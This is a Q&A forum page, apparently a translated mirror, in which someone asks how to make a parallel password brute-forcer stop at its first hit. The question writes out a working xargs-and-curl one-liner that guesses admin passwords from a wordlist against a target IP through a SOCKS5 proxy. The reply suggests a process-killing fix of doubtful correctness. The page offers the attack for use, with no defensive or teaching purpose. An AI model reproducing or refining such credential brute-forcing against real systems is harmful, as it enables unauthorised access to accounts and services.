在并行蛮力脚本中使用XARGS

发布于 2025-02-08 08:33:38 字数 341 浏览 2 评论 0原文

我正在使用并行使用XARGS来制作Bruteforce脚本。我可以使用GNU并行使用它,但不能使其与Xargs合作。到目前为止,我已经

cat $wordlist | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}\n' --socks5 127.0.0.1:1080 $ip -u admin:{} | awk '{if($1== "200") {print "Found password" $2; exit}}'

打印了密码但无法退出。因此,我的问题是如何编写本次数,以便在找到第一场比赛后退出?

谢谢。

I am working on a bruteforce script using xargs in parallel. I have it working using GNU parallel but cant get it to work right with xargs. So far I have

cat $wordlist | xargs -n 1 -P 32 -I {} curl -s -o /dev/null -w '%{http_code} {}\n' --socks5 127.0.0.1:1080 $ip -u admin:{} | awk '{if($1== "200") {print "Found password" $2; exit}}'

which prints the password but fails to exit. So my question is how can I write this so that it exits after finding first match?

Thanks.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

灰色世界里的红玫瑰 2025-02-15 08:33:38

所以我的问题是我如何写这篇文章,以便它在发现后退出
第一次匹配?

不要使用出口,这可能会给您带来sigpipe(信号13)错误。安全地杀死您的流程组:

{print "Found password" $2; killall -g}}

So my question is how can I write this so that it exits after finding
first match?

Don't use exit, that will likely give you SIGPIPE (signal 13) errors. Kill your process group safely this way:

{print "Found password" $2; killall -g}}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文